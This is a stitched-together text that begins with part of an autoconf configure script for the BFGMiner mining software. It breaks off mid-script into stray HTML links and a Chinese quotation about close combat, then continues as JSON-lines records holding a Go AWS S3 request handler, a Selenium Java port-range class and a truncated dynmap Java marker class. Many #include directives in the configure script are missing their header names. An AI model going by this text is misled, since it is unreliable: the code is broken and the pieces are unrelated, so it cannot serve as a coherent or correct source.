>iospeeds_local.h\n\t\t\n\t\tfound_ddkusb=false\n\t\tAC_CHECK_HEADER([usbiodef.h],[\n\t\t\tfound_ddkusb=true\n\t\t],[\n\t\t\tBFG_FIND_INCLUDE_PATH([ddk],[usbiodef.h],[\n\t\t\t\tfound_ddkusb=true\n\t\t\t\tAUTOSCAN_CPPFLAGS=\"-I${inclpath_usbiodef_h}\"\n\t\t\t],[],[\n\t\t\t\t#include \n\t\t\t\t#include \n\t\t\t\tAC_INCLUDES_DEFAULT\n\t\t\t])\n\t\t],[\n\t\t\t#include \n\t\t\t#include \n\t\t\tAC_INCLUDES_DEFAULT\n\t\t])\n\t\tif $found_ddkusb; then\n\t\t\tAUTOSCAN_LIBS=\"-lsetupapi\"\n\t\t\tAC_DEFINE([HAVE_WIN_DDKUSB],[1],[Defined to 1 if Windows DDK USB headers are being used])\n\t\tfi\n\telse\n\t\tAC_MSG_CHECKING([what baud rates your system supports])\n\t\techo '#include ' | ${CPP} -dM - 2>/dev/null | ${SED} 's/.*[ \t]B\\([0-9][0-9]*\\)[ \t].*/IOSPEED(\\1)/' | grep IOSPEED >iospeeds_local.h\n\t\tif grep -q IOSPEED iospeeds_local.h; then\n\t\t\tAC_MSG_RESULT([done])\n\t\telse\n\t\t\tAC_MSG_RESULT([failed, using standard POSIX])\n\t\t\techo '#include ' >iospeeds_local.h\n\t\tfi\n\tfi\nfi\n\nif test \"x$USE_OPENCL$need_lowl_hid\" = xnono; then\n\tDLOPEN_FLAGS=\"\"\nfi\n\nlowllist=\"$lowllist hid/need_lowl_hid\"\nif test x$need_lowl_hid = xyes; then\n\tAC_DEFINE([NEED_BFG_LOWL_HID], [1], [Defined to 1 if lowlevel hid drivers are being used])\n\tneed_lowlevel=yes\nfi\n\nlowllist=\"$lowllist mswin/need_lowl_mswin\"\nif test x$need_lowl_mswin = xyes; then\n\tAC_DEFINE([NEED_BFG_LOWL_MSWIN], [1], [Defined to 1 if lowlevel mswin drivers are being used])\n\tneed_lowlevel=yes\nfi\n\nlowllist=\"$lowllist pci/need_lowl_pci\"\nif test x$need_lowl_pci = xyes; then\n\tAC_DEFINE([NEED_BFG_LOWL_PCI], [1], [Defined to 1 if lowlevel PCI drivers are being used])\n\tneed_lowlevel=yes\n\tlowllist=\"$lowllist pci:uio/uio\"\n\tif test x$uio = xyes; then\n\t\tAC_DEFINE([USE_UIO], [1], [Defined to 1 if lowlevel PCI drivers should support UIO])\n\tfi\n\tlowllist=\"$lowllist pci:vfio/vfio\"\n\tif test x$vfio = xyes; then\n\t\tAC_DEFINE([USE_VFIO], [1], [Defined to 1 if lowlevel PCI drivers should support VFIO])\n\tfi\nfi\nAM_CONDITIONAL([USE_VFIO], [test x$need_lowl_pci$vfio = xyesyes])\n\nlowllist=\"$lowllist usb/need_lowl_usb\"\nif test x$need_lowl_usb = xyes; then\n\tneed_lowlevel=yes\nfi\n\nlowllist=\"$lowllist vcom/need_lowl_vcom\"\nif test x$need_lowl_vcom = xyes; then\n\tneed_lowlevel=yes\nfi\n\nif test x$need_lowlevel = xyes; then\n\tAC_DEFINE([HAVE_BFG_LOWLEVEL], [1], [Defined to 1 if lowlevel drivers are being used])\nfi\n\nif test x$need_linux_i2c_dev = xyes; then\n\tAC_CHECK_HEADERS([linux/i2c-dev-user.h])\n\tAC_CHECK_DECL([i2c_smbus_read_word_data],[true],[\n\t\tAC_MSG_ERROR([linux/i2c-dev.h header from i2c-tools/libi2c-dev (NOT linux headers) is required for KnCMiner drivers])\n\t],[\n\t\t#include \n\t\t#ifdef HAVE_LINUX_I2C_DEV_USER_H\n\t\t#include \n\t\t#else\n\t\t#ifdef NEED_LINUX_I2C_H\n\t\t#include \n\t\t#endif\n\t\t#include \n\t\t#endif\n\t])\nfi\n\n\ncurses=\"auto\"\n\nAC_ARG_WITH([curses],\n\t[AC_HELP_STRING([--without-curses],[Compile support for curses TUI (default enabled)])],\n\t[curses=$withval]\n\t)\nif test \"x$curses\" = \"xno\"; then\n\toptlist=\"$optlist curses\"\nelse\n\tcurses_enableaction=\"install a curses library\"\n\torig_libs=\"$LIBS\"\n\tif test \"x${curses}\" = \"xyes\"; then\n\t\tpreferl=''\n\telse\n\t\tpreferl=\"${curses} ${curses}6 ${curses}5\"\n\tfi\n\tfor wideornot in w u ''; do\n\t\tfor ncursesver in '' 6 5; do\n\t\t\tpreferl=\"${preferl} ncurses${wideornot}${ncursesver}\"\n\t\tdone\n\t\tpreferl=\"${preferl} pdcurses${wideornot}\"\n\tdone\n\tif test \"x$cross_compiling\" != \"xyes\"; then\n\t\tAC_MSG_CHECKING([for best native curses library])\n\t\torig_cflags=\"$CFLAGS\"\n\t\tfor curses_lib in ${preferl}; do\n\t\t\tif ! ${curses_lib}-config --cflags >/dev/null 2>/dev/null; then\n\t\t\t\tcontinue\n\t\t\tfi\n\t\t\tCFLAGS=\"$orig_cflags $(${curses_lib}-config --cflags)\"\n\t\t\tLIBS=\"$orig_libs $(${curses_lib}-config --libs)\"\n\t\t\tAC_LINK_IFELSE([AC_LANG_PROGRAM([[\n\t\t\t\t#include \n\t\t\t]], [[\n\t\t\t\tWINDOW *w = NULL;\n\t\t\t\tmvwprintw(w, 2, 2, \"Testing %s\", \"o hai\");\n\t\t\t]])], [\n\t\t\t\tcurses=yes\n\t\t\t\toptlist=\"$optlist ${curses_lib}/curses\"\n\t\t\t\tAC_MSG_RESULT([$curses_lib])\n\t\t\t\tNCURSES_LIBS=`${curses_lib}-config --libs`\n\t\t\t\tNCURSES_CPPFLAGS=`${curses_lib}-config --cflags`\n\t\t\t\tbreak\n\t\t\t], [\n\t\t\t\tAC_MSG_WARN([${curses_lib} doesn't seem to be installed properly])\n\t\t\t])\n\t\tdone\n\t\tCFLAGS=\"$orig_cflags\"\n\t\tif test \"x$curses\" != \"xyes\"; then\n\t\t\tAC_MSG_RESULT([none?])\n\t\tfi\n\tfi\n\tif test \"x$curses\" != \"xyes\"; then\n\t\tsym=addstr\n\t\t\tAC_SEARCH_LIBS(${sym}, ${preferl}, [\n\t\t\t\tcurses=yes\n\t\t\t\teval \"curseslib=\\\"\\${ac_cv_search_${sym}}\\\"\"\n\t\t\t\tbarelib=`echo \"${curseslib}\" | ${SED} -e 's/-l//'`\n\t\t\t\toptlist=\"$optlist ${barelib}/curses\"\n\t\t\t\tif test \"x${curseslib}\" != \"xnone required\"; then\n\t\t\t\t\tNCURSES_LIBS=\"${curseslib}\"\n\t\t\t\tfi\n\t\t\t\t\n\t\t\t\t# Need to check for headers in subdirectories, to ensure we get wide stuff\n\t\t\t\tbarelib=`echo \"${barelib}\" | ${SED} -e 's/6//'`\n\t\t\t\tbarelib=`echo \"${barelib}\" | ${SED} -e 's/5//'`\n\t\t\t\tBFG_FIND_INCLUDE_PATH([${barelib}],[curses.h],[\n\t\t\t\t\tNCURSES_CPPFLAGS=\"-I${inclpath_curses_h}\"\n\t\t\t\t])\n\t\t\t\t\n\t\t\t\tbreak\n\t\t\t], [\n\t\t\t\tif test \"x$curses\" = \"xyes\"; then\n\t\t\t\t\tAC_MSG_ERROR([Could not find curses library - please install libncurses-dev or pdcurses-dev (or configure --without-curses)])\n\t\t\t\telse\n\t\t\t\t\tAC_MSG_WARN([Could not find curses library - if you want a TUI, install libncurses-dev or pdcurses-dev])\n\t\t\t\t\tcurses=no\n\t\t\t\t\toptlist=\"$optlist curses\"\n\t\t\t\tfi\n\t\t\t])\n\tfi\n\tif test \"x$curses\" = \"xyes\"; then\n\t\tAC_DEFINE([HAVE_CURSES], [1], [Defined to 1 if curses TUI support is wanted])\n\t\tAC_MSG_CHECKING([whether curses library supports wide characters])\n\t\torig_cflags=\"$CFLAGS\"\n\t\tCFLAGS=\"$orig_cflags $NCURSES_CPPFLAGS\"\n\t\tLIBS=\"$orig_libs $NCURSES_LIBS\"\n\t\tAC_LINK_IFELSE([\n\t\t\tAC_LANG_PROGRAM([\n\t\t\t\t#define PDC_WIDE\n\t\t\t\t#include \n\t\t\t],[\n\t\t\t\taddwstr(L\"test\");\n\t\t\t\tadd_wch(WACS_VLINE);\n\t\t\t])\n\t\t],[\n\t\t\tAC_MSG_RESULT([yes])\n\t\t\tAC_DEFINE([USE_UNICODE],[1],[Defined to 1 if curses supports wide characters])\n\t\t],[\n\t\t\tAC_MSG_RESULT([no])\n\t\t])\n\t\tCFLAGS=\"$orig_cflags\"\n\tfi\n\tLIBS=\"$orig_libs\"\nfi\n\n\nBFG_BUNDLED_LIB([libbase58],[libbase58],[auto],[libbase58],[base58],[],[--disable-tool --disable-static --enable-shared])\nBFG_BUNDLED_LIB([libblkmaker],[libblkmaker_jansson-0.1],[no],[libblkmaker],[blkmaker_jansson-0.1 blkmaker-0.1],[libbase58])\n\n\n$have_udevrules || use_udevrules=false\nif $use_udevrules; then\n\tAC_ARG_WITH([udevrulesdir],\n\t\tAS_HELP_STRING([--with-udevrulesdir=DIR], [Install udev rules into this directory]),\n\t\t[], [\n\t\t\tif test -d /lib/udev/rules.d; then\n\t\t\t\twith_udevrulesdir=/lib/udev/rules.d\n\t\t\telse\n\t\t\t\twith_udevrulesdir=no\n\t\t\tfi\n\t\t]\n\t)\n\tif test \"x$with_udevrulesdir\" = \"xno\"; then\n\t\tuse_udevrules=false\n\tfi\n\tif $use_udevrules; then\n\t\tAC_SUBST([udevrulesdir], [$with_udevrulesdir])\n\tfi\nfi\n\n\nAM_CONDITIONAL([NEED_BFG_BINLOADER], [test x$need_binloader = xyes])\nAM_CONDITIONAL([NEED_DYNCLOCK], [test x$need_dynclock = xyes])\nAM_CONDITIONAL([USE_GC3355], [test x$need_gc3355 = xyes])\nAM_CONDITIONAL([NEED_BFG_LOWL_VCOM], [test x$need_lowl_vcom = xyes])\nAM_CONDITIONAL([NEED_BFG_LOWL_FTDI], [test x$need_lowl_ftdi = xyes])\nAM_CONDITIONAL([NEED_BFG_LOWL_HID], [test x$need_lowl_hid = xyes])\nAM_CONDITIONAL([NEED_BFG_LOWL_MSWIN], [test x$need_lowl_mswin = xyes])\nAM_CONDITIONAL([NEED_BFG_LOWL_PCI], [test x$need_lowl_pci = xyes])\nAM_CONDITIONAL([NEED_BFG_LOWL_SPI], [test x$need_lowl_spi = xyes])\nAM_CONDITIONAL([NEED_BFG_LOWLEVEL], [test x$need_lowlevel = xyes])\nAM_CONDITIONAL([NEED_BFG_WORK2D], [test x$need_work2d = xyes])\nAM_CONDITIONAL([NEED_KNC_ASIC], [test x$need_knc_asic = xyes])\nAM_CONDITIONAL([HAVE_CURSES], [test x$curses = xyes])\nAM_CONDITIONAL([HAVE_SENSORS], [test x$with_sensors = xyes])\nAM_CONDITIONAL([HAVE_CYGWIN], [test x$have_cygwin = xtrue])\nAM_CONDITIONAL([HAVE_LIBUSB], [test x$USE_LIBUSB = xyes])\nAM_CONDITIONAL([HAVE_WINDOWS], [test x$have_win32 = xtrue])\nAM_CONDITIONAL([HAVE_x86_64], [test x$have_x86_64 = xtrue])\nAM_CONDITIONAL([HAVE_WIN_DDKUSB], [test x$found_ddkusb = xtrue])\nAM_CONDITIONAL([HAS_FPGA], [test x$has_fpga != xno])\nAM_CONDITIONAL([HAS_ASIC], [test x$has_asic != xno])\nAM_CONDITIONAL([USE_UDEVRULES], [$use_udevrules])\nAM_CONDITIONAL([BROAD_UDEVRULES], [$broad_udevrules])\n\ndnl Find YASM\nhas_yasm=false\nif test \"x$have_x86_32$have_x86_64\" != \"xfalsefalse\"; then\nAC_PATH_PROG([YASM],[yasm],[false])\nif test \"x$YASM\" != \"xfalse\" ; then\n has_yasm_enableaction=\"install yasm 1.0.1+\"\n AC_MSG_CHECKING([if yasm version is greater than 1.0.1])\n yasmver=`\"$YASM\" --version | head -1 | cut -d\\ -f2`\n yamajor=`echo $yasmver | cut -d. -f1`\n yaminor=`echo $yasmver | cut -d. -f2`\n yamini=`echo $yasmver | cut -d. -f3`\n if test \"$yamajor\" -ge \"1\" ; then\n if test \"$yamajor\" -eq \"1\" ; then\n if test \"$yaminor\" -ge \"0\" ; then\n if test \"$yaminor\" -eq \"0\"; then\n if test \"$yamini\" -ge \"1\"; then\n has_yasm=true\n fi\n else\n has_yasm=true\n fi\n fi\n fi\n else\n has_yasm=false\n fi\n if test \"x$has_yasm\" = \"xtrue\" ; then\n AC_MSG_RESULT([yes])\n else\n AC_MSG_RESULT([no])\n fi\nfi\nif test \"x$has_yasm\" = \"xfalse\" ; then\n AC_MSG_NOTICE([yasm is required for the assembly algorithms. They will be skipped.])\nelse\n\tAC_DEFINE([HAVE_YASM], [1], [Defined to 1 if yasm is being used])\n\tif test \"x$have_win32$have_cygwin\" != \"xfalsefalse\"; then\n\t\tif test \"x$have_x86_64\" = xtrue; then\n\t\t\tYASM_FMT=\"win64\"\n\t\telse\n\t\t\tYASM_FMT=\"coff\"\n\t\tfi\n\telif test \"x$have_macho\" = \"xtrue\"; then\n\t\tYASM_FMT=\"macho$bitness\"\n\telse\n\t\tYASM_FMT=\"elf$bitness\"\n\tfi\nfi\n\nfi\n\nAM_CONDITIONAL([HAS_YASM], [test x$has_yasm = xtrue])\n\nhave_sse2=no\nif test \"x$USE_CPUMINING$have_x86_32\" = \"xyestrue\"; then\n\tAC_MSG_CHECKING([if SSE2 code compiles])\n\tsave_CFLAGS=\"$CFLAGS\"\n\tfor flags in '' '-msse2'; do\n\t\tCFLAGS=\"$CFLAGS $flags\"\n\t\tAC_TRY_LINK([\n\t\t\t#include \n\t\t],[\n\t\t\tint *i = (int *)0xdeadbeef;\n\t\t\t__m128i a, b;\n\t\t\ta = _mm_set1_epi32(i[0]);\n\t\t\tb = _mm_set_epi32(i[0], i[1], i[2], i[3]);\n\t\t\ta = _mm_add_epi32(a, b);\n\t\t\ta = _mm_andnot_si128(a, b);\n\t\t\ta = _mm_or_si128(a, b);\n\t\t\ta = _mm_slli_epi32(a, i[4]);\n\t\t\ta = _mm_and_si128(a, b);\n\t\t\ta = _mm_xor_si128(a, b);\n\t\t],[\n\t\t\tif test \"x$flags\" = \"x\"; then\n\t\t\t\tAC_MSG_RESULT([yes])\n\t\t\telse\n\t\t\t\tAC_MSG_RESULT([with $flags])\n\t\t\tfi\n\t\t\tSSE2_CFLAGS=\"$flags\"\n\t\t\thave_sse2=yes\n\t\t\tbreak\n\t\t],[\n\t\t\ttrue\n\t\t])\n\tdone\n\tCFLAGS=\"${save_CFLAGS}\"\n\tif test \"x$have_sse2\" = \"xyes\"; then\n\t\tAC_DEFINE([HAVE_SSE2], [1], [Defined to 1 if yasm is being used])\n\telse\n\t\tAC_MSG_RESULT([no])\n\tfi\nfi\nAM_CONDITIONAL([HAVE_SSE2], [test \"x$have_sse2\" = \"xyes\"])\n\nif test \"x$need_lowl_vcom\" = \"xyes\"; then\n\tAC_ARG_WITH([libudev], [AC_HELP_STRING([--without-libudev], [Autodetect FPGAs using libudev (default enabled)])],\n\t\t[libudev=$withval],\n\t\t[libudev=auto]\n\t\t)\n\tif test \"x$libudev\" != \"xno\"; then\n\t\tAC_CHECK_HEADER([libudev.h],[\n\t\t\tlibudev=yes\n\t\t\tUDEV_LIBS=-ludev\n\t\t\tAC_DEFINE([HAVE_LIBUDEV], [1], [Defined to 1 if libudev is wanted])\n\t\t], [\n\t\t\tif test \"x$libudev\" = \"xyes\"; then\n\t\t\t\tAC_MSG_ERROR([libudev not found])\n\t\t\tfi\n\t\t\tlibudev=no\n\t\t])\n\tfi\nfi\nAM_CONDITIONAL([HAVE_LIBUDEV], [test x$libudev != xno])\n\nAC_SUBST(LIBUSB_LIBS)\nAC_SUBST(LIBUSB_CFLAGS)\n\nPKG_CHECK_MODULES([LIBCURL], [libcurl >= 7.18.2], ,[AC_MSG_ERROR([Missing required libcurl dev >= 7.18.2])])\nif echo \"$LIBCURL_CFLAGS\" | grep '@CPPFLAG_CURL_STATICLIB@' >/dev/null 2>&1; then\n\tAC_MSG_WARN([Your libcurl pkgconfig file is broken, applying workaround])\n\tLIBCURL_CFLAGS=`echo \"$LIBCURL_CFLAGS\" | ${SED} 's/@CPPFLAG_CURL_STATICLIB@//'`\nfi\nAC_SUBST(LIBCURL_LIBS)\n\nAC_CHECK_FUNCS([setrlimit])\n\ndnl CCAN wants to know a lot of vars.\n# All the configuration checks. Regrettably, the __attribute__ checks will\n# give false positives on old GCCs, since they just cause warnings. But that's\n# fairly harmless.\nAC_COMPILE_IFELSE([AC_LANG_SOURCE([static void __attribute__((cold)) cleanup(void) { }])],\n\t\t\t AC_DEFINE([HAVE_ATTRIBUTE_COLD], [1],\n [Define if __attribute__((cold))]))\nAC_COMPILE_IFELSE([AC_LANG_SOURCE([static void __attribute__((const)) cleanup(void) { }])],\n\t\t\t AC_DEFINE([HAVE_ATTRIBUTE_CONST], [1],\n [Define if __attribute__((const))]))\nAC_COMPILE_IFELSE([AC_LANG_SOURCE([static void __attribute__((noreturn)) cleanup(void) { exit(1); }])],\n\t[\n\t\t\t AC_DEFINE([HAVE_ATTRIBUTE_NORETURN], [1],\n [Define if __attribute__((noreturn))])\n\t\tAC_DEFINE_UNQUOTED([NORETURN], [__attribute__((noreturn))], [Syntax of noreturn attribute])\n\t], [\n\t\tAC_DEFINE_UNQUOTED([NORETURN], [])\n\t]\n)\nAC_COMPILE_IFELSE([AC_LANG_SOURCE([static void __attribute__((format(__printf__, 1, 2))) cleanup(const char *fmt, ...) { }])],\n\t\t\t AC_DEFINE([HAVE_ATTRIBUTE_PRINTF], [1],\n [Define if __attribute__((format(__printf__)))]))\nAC_COMPILE_IFELSE([AC_LANG_SOURCE([static void __attribute__((unused)) cleanup(void) { }])],\n\t\t\t AC_DEFINE([HAVE_ATTRIBUTE_UNUSED], [1],\n [Define if __attribute__((unused))]))\nAC_COMPILE_IFELSE([AC_LANG_SOURCE([static void __attribute__((used)) cleanup(void) { }])],\n\t\t\t AC_DEFINE([HAVE_ATTRIBUTE_USED], [1],\n [Define if __attribute__((used))]))\nAC_LINK_IFELSE([AC_LANG_SOURCE([int main(void) { return __builtin_constant_p(1) ? 0 : 1; }])],\n\t\t\t AC_DEFINE([HAVE_BUILTIN_CONSTANT_P], [1],\n [Define if have __builtin_constant_p]))\nAC_LINK_IFELSE([AC_LANG_SOURCE([int main(void) { return __builtin_types_compatible_p(char *, int) ? 1 : 0; }])],\n\t\t\t AC_DEFINE([HAVE_BUILTIN_TYPES_COMPATIBLE_P], [1],\n [Define if have __builtin_types_compatible_p]))\nAC_COMPILE_IFELSE([AC_LANG_SOURCE([static int __attribute__((warn_unused_result)) func(int x) { return x; }])],\n\t\t\t AC_DEFINE([HAVE_WARN_UNUSED_RESULT], [1],\n [Define if __attribute__((warn_unused_result))]))\n\n\n# byteswap functions\nAH_TEMPLATE([HAVE_BYTESWAP_H], [Define to use byteswap macros from byteswap.h])\nAH_TEMPLATE([HAVE_ENDIAN_H], [Define to use byteswap macros from endian.h])\nAH_TEMPLATE([HAVE_SYS_ENDIAN_H], [Define to use byteswap macros from sys/endian.h])\nAH_TEMPLATE([HAVE_LIBKERN_OSBYTEORDER_H], [Define to use byteswap macros from libkern/OSByteOrder.h])\nBSWAP=''\nfor sym in bswap_ __builtin_bswap __bswap_ __swap swap OSSwapInt; do\n\tAC_MSG_CHECKING([for ${sym}* functions])\n\tfor headerfile in '' byteswap.h endian.h sys/endian.h libkern/OSByteOrder.h; do\n\t\tBFG_INCLUDE([headerinclude], [${headerfile}])\n\t\tAC_LINK_IFELSE([\n\t\t\tAC_LANG_PROGRAM([\n\t\t\t\t${headerinclude}\n\t\t\t], [\n\t\t\t\t(void) ${sym}16(0);\n\t\t\t\t(void) ${sym}32(0);\n\t\t\t\t(void) ${sym}64(0);\n\t\t\t])\n\t\t], [\n\t\t\tBSWAP=\"${sym}\"\n\t\t\tif test \"x${headerfile}\" = \"x\"; then\n\t\t\t\tAC_MSG_RESULT([yes])\n\t\t\telse\n\t\t\t\tAC_MSG_RESULT([found in ${headerfile}])\n\t\t\t\tAC_DEFINE_UNQUOTED(AS_TR_CPP([HAVE_$headerfile]), 1)\n\t\t\tfi\n\t\t\tbreak 2\n\t\t])\n\tdone\n\tAC_MSG_RESULT([no])\ndone\nif test \"x$BSWAP\" = \"x\"; then\n\ttrue # Substitutes are provided in miner.h\nelif test \"x$BSWAP\" = \"xbswap_\"; then\n\tAC_MSG_CHECKING([if bswap_16 is already a macro])\n\tBFG_PREPROC_IFELSE([defined(bswap_16)], $headerfile, [\n\t\tAC_MSG_RESULT([yes])\n\t\tBSWAP=\"\"\n\t],[\n\t\tAC_MSG_RESULT([no])\n\t])\nfi\nif test \"x$BSWAP\" != \"x\"; then\n\tAC_DEFINE_UNQUOTED([bswap_16], ${BSWAP}16, [Define to 16-bit byteswap macro])\n\tAC_DEFINE_UNQUOTED([bswap_32], ${BSWAP}32, [Define to 16-bit byteswap macro])\n\tAC_DEFINE_UNQUOTED([bswap_64], ${BSWAP}64, [Define to 16-bit byteswap macro])\nfi\n\n# endian definition macros\nAC_MSG_CHECKING([for platform endian])\nfound_endian=no\nfor headerfile in '' endian.h sys/endian.h sys/param.h; do\n\tfor pfx in '' '__'; do\n\t\tBFG_PREPROC_IFELSE([defined(${pfx}BYTE_ORDER) && defined(${pfx}BIG_ENDIAN) && defined(${pfx}LITTLE_ENDIAN) && (${pfx}BYTE_ORDER == ${pfx}BIG_ENDIAN || ${pfx}BYTE_ORDER == ${pfx}LITTLE_ENDIAN)], ${headerfile}, [\n\t\t\tif test \"x$headerfile\" = \"x\"; then\n\t\t\t\theaderfilec=''\n\t\t\telse\n\t\t\t\theaderfilec=\" (${headerfile})\"\n\t\t\tfi\n\t\t\tBFG_PREPROC_IFELSE([${pfx}BYTE_ORDER == ${pfx}BIG_ENDIAN], ${headerfile}, [\n\t\t\t\tAC_MSG_RESULT([big endian${headerfilec}])\n\t\t\t\tAC_DEFINE(WORDS_BIGENDIAN, 1, [Define if your platform is big endian])\n\t\t\t], [\n\t\t\t\tAC_MSG_RESULT([little endian${headerfilec}])\n\t\t\t])\n\t\t\tfound_endian=yes\n\t\t\tbreak 2\n\t\t],[true])\n\tdone\ndone\nif test \"x$found_endian\" = \"xno\"; then\n\tif $have_win32 || $have_cygwin; then\n\t\tAC_MSG_RESULT([assuming little endian (Windows)])\n\telse\n\t\t# AC_C_BIGENDIAN is reported to have problems, and invasive even if buried in a conditional, so don't use it\n\t\tAC_MSG_RESULT([unknown])\n\t\tAC_MSG_ERROR([Unable to identify platform endian])\n\tfi\nfi\n\n\nAC_MSG_CHECKING([if good static asserts compile])\nAC_TRY_LINK([\n\t#include \n], [\n\t_Static_assert(1, \":)\");\n], [\n\tAC_MSG_RESULT([yes])\n], [\n\tAC_MSG_RESULT([no])\n\tAC_DEFINE_UNQUOTED([_Static_assert(...)], [], [Turns _Static_assert into noop for compilers that don't support it])\n])\n\n\nAC_MSG_CHECKING([if GNU format attribute compiles])\nAC_TRY_COMPILE([\n\t#define FORMAT_SYNTAX_CHECK(...) __attribute__(( format(__VA_ARGS__) ))\n\tint myfunc(char *fmt, ...) FORMAT_SYNTAX_CHECK(printf, 1, 2);\n\tint myfunc(char *fmt, ...) {\n\t\treturn 42;\n\t}\n], [\n\tmyfunc(\"abc%d\", 42);\n], [\n\tAC_MSG_RESULT([yes])\n\tAC_DEFINE_UNQUOTED([FORMAT_SYNTAX_CHECK(...)], [__attribute__(( format(__VA_ARGS__) ))], [Syntax of format-checking attribute])\n], [\n\tAC_MSG_RESULT([no])\n\tAC_DEFINE_UNQUOTED([FORMAT_SYNTAX_CHECK(...)], [])\n])\n\n\nAC_MSG_CHECKING([for clock_gettime(CLOCK_MONOTONIC)])\nAC_TRY_COMPILE([\n\t#define _GNU_SOURCE\n\t#include \n],[\n\tstruct timespec ts;\n\tclock_gettime(CLOCK_MONOTONIC, &ts);\n],[\n\tAC_MSG_RESULT([yes])\n\tAC_DEFINE([HAVE_CLOCK_GETTIME_MONOTONIC], [1], [Defined to 1 if clock_gettime(CLOCK_MONOTONIC) is defined])\n\tsave_LIBS=\"${LIBS}\"\n\tAC_SEARCH_LIBS([clock_gettime],[rt posix4],[\n\t\tif test \"x${ac_cv_search_clock_gettime}\" != \"xnone required\"; then\n\t\t\tRT_LIBS=\"${ac_cv_search_clock_gettime}\"\n\t\tfi\n\t])\n\tLIBS=\"${save_LIBS}\"\n\tAC_CHECK_FUNCS([clock_nanosleep])\n\tAC_MSG_CHECKING([for clock_gettime(CLOCK_MONOTONIC_RAW)])\n\tAC_TRY_COMPILE([\n\t\t#define _GNU_SOURCE\n\t\t#include \n\t],[\n\t\tstruct timespec ts;\n\t\tclock_gettime(CLOCK_MONOTONIC_RAW, &ts);\n\t],[\n\t\tAC_MSG_RESULT([yes])\n\t\tAC_DEFINE([HAVE_CLOCK_GETTIME_MONOTONIC_RAW], [1], [Defined to 1 if clock_gettime(CLOCK_MONOTONIC_RAW) is defined])\n\t],[\n\t\tAC_MSG_RESULT([no])\n\t])\n],[\n\tAC_MSG_RESULT([no])\n])\n\n\nsave_LIBS=\"$LIBS\"\nLIBS=\"$LIBS $MATH_LIBS\"\nAC_CHECK_FUNCS([log2])\nLIBS=\"$save_LIBS\"\n\n\nif test \"x$prefix\" = xNONE; then\n\tprefix=/usr/local\nfi\n\nAM_CONDITIONAL([NEED_BITSTREAM_FPGAMINER], [test x$USE_MODMINER$USE_X6500 != xnono])\n\ndnl Hide unnecessary explanations, only after any fatal errors\nhowto_SHA256D=x\nif test \"x$USE_SHA256D\" = xno; then\n\thowto_BITFURY=x\nfi\nif test \"x$want_libusb\" = xno; then\n\thowto_LIBUSB=x\nfi\n\nm4_define([BFG_PRINT_LIST],[\n\teval _mylist=\"\\$$2\"\n\t_yeslist=\n\t_nolist=\n\t_enableactions=\n\tfoundone=no\n\tfor _opt in $_mylist; do\n\t\tIFS=/ read _opt _var <\nhttps://en.m.wikipedia.org/wiki/Hand-to-hand_combat
    \nhttps://baike.baidu.com/item/CQB/7226853?fr=aladdin
    \n\"能开炮就不要开枪,能开枪扔手榴弹就不要拼刺刀,能拼刺刀就不要肉搏\"
    "} +{"text": "// +build go1.6\n\npackage s3\n\nimport (\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/aws/request\"\n)\n\nfunc platformRequestHandlers(r *request.Request) {\n\tif r.Operation.HTTPMethod == \"PUT\" {\n\t\t// 100-Continue should only be used on put requests.\n\t\tr.Handlers.Sign.PushBack(add100Continue)\n\t}\n}\n\nfunc add100Continue(r *request.Request) {\n\tif aws.BoolValue(r.Config.S3Disable100Continue) {\n\t\treturn\n\t}\n\tif r.HTTPRequest.ContentLength < 1024*1024*2 {\n\t\t// Ignore requests smaller than 2MB. This helps prevent delaying\n\t\t// requests unnecessarily.\n\t\treturn\n\t}\n\n\tr.HTTPRequest.Header.Set(\"Expect\", \"100-Continue\")\n}\n"} +{"text": "// Licensed to the Software Freedom Conservancy (SFC) under one\n// or more contributor license agreements. See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership. The SFC licenses this file\n// to you under the Apache License, Version 2.0 (the\n// \"License\"); you may not use this file except in compliance\n// with the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.\n\npackage org.openqa.selenium.net;\n\n\npublic class FixedIANAPortRange implements EphemeralPortRangeDetector\n{\n @Override\n public int getLowestEphemeralPort() {\n return 49152;\n }\n\n @Override\n public int getHighestEphemeralPort() {\n return 65535;\n }\n}\n"} +{"text": "package org.dynmap.markers.impl;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport org.dynmap.ConfigurationNode;\nimport org.dynmap.DynmapWorld;\nimport org.dynmap.hdmap.HDPerspective;\nimport org.dynmap.markers.CircleMarker;\nimport org.dynmap.markers.EnterExitMarker;\nimport org.dynmap.markers.MarkerSet;\nimport org.dynmap.markers.EnterExitMarker.EnterExitText;\nimport org.dynmap.markers.impl.MarkerAPIImpl.MarkerUpdate;\nimport org.dynmap.utils.Vector3D;\n\nclass CircleMarkerImpl implements CircleMarker, EnterExitMarker {\n private String markerid;\n private String label;\n private boolean markup;\n private String desc;\n private MarkerSetImpl markerset;\n private String world;\n private String normalized_world;\n private boolean ispersistent;\n private double x;\n private double y;\n private double z;\n private double xr;\n private double zr;\n private int lineweight = 3;\n private double lineopacity = 0.8;\n private int linecolor = 0xFF0000;\n private double fillopacity = 0.35;\n private int fillcolor = 0xFF0000;\n private boolean boostflag = false;\n private int minzoom = -1;\n private int maxzoom = -1;\n private EnterExitText greeting;\n private EnterExitText farewell;\n\n private static class BoundingBox {\n double xmin, xmax;\n double ymin, ymax;\n double xp[];\n double yp[];\n }\n private Map bb_cache = null;\n\n /** \n * Create circle marker\n * @param id - marker ID\n * @param lbl - label\n * @param markup - if true, label is HTML markup\n * @param world - world id\n * @param x - x center\n * @param y - y center\n * @param z - z center\n * @param xr - radius on X axis\n * @param zr - radius on Z axis\n * @param persistent - true if persistent\n * @param set - marker set\n */\n CircleMarkerImpl(String id, String lbl, boolean markup, String world, double x, double y, double z, double xr, double zr, boolean persistent, MarkerSetImpl set) {\n markerid = id;\n if(lbl != null)\n label = lbl;\n else\n label = id;\n this.markup = markup;\n this.x = x; this.y = y; this.z = z;\n this.xr = xr; this.zr = zr;\n this.world = world;\n this.normalized_world = DynmapWorld.normalizeWorldName(world);\n this.desc = null;\n this.minzoom = -1;\n this.maxzoom = -1;\n ispersistent = persistent;\n markerset = set;\n }\n /**\n * Make 